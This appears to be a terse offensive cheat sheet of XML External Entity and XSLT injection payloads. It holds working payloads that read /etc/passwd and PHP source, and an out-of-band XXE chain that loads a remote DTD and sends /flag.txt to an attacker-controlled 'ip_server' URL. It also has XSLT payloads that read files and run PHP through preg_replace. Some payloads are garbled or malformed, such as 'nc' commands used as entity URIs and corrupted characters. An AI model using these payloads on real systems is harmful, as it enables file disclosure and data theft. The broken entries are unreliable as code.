XML External Entity (XXE) and XSLT

Resources

https://2017.zeronights.org/wp-content/uploads/materials/ZN17_yarbabin_XXE_Jedi_Babin.pdf


Basic XXE

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=path/index.php" >
]>

<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]><title>&xxe;</title>
# XXE via Word:
<!-- word/document.xml -->
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE foo [ <!ENTITY % pe SYSTEM "nc -nlvp 31337"> %pe; ]>
<foo>&external;</foo>

<!-- word/document.xml -->
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "nc -nlvp 31337">
]>
<r>&sp;</r>


Out of Band XXE (OOB XXE)

# The exploitation will download a remote DTD file
# And then execute entities

# SVG File
<!DOCTYPE svg [
<!ENTITY % file SYSTEM "http://ip_server/file.dtd"
%file%template;
]>
<svg xmlns="http://www.w3.org/2000/svg">
	<text x="10" y="30">Injected : ├╣res;</text>
</svg>

# DTD file
<!ENTITY % secret1 SYSTEM "file:///flag.txt">
<!ENTITY % template "<!ENTITY res SYSTEM 'http://ip_server/?data=%secret1;'>">


XSLT Injection

# You can execute commands through an external XML file
<br />Version: <xsl:value-of select="system-property('xsl:version')" />
<br />Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
<br />Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />

# Example
    <?xml version="1.0" encoding="UTF-8"?>
    <html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
    <body>
    <xsl:value-of select="php:function('readfile','index.php')" />
    </body>
    </html>


# Look for resource
<xsl:variable name="scana">
        implode('<br/>',scandir('.'))
</xsl:variable>
<br />Scan dir 1: <xsl:value-of select="php:function('preg_replace', '/.*/e', $scana, '')" />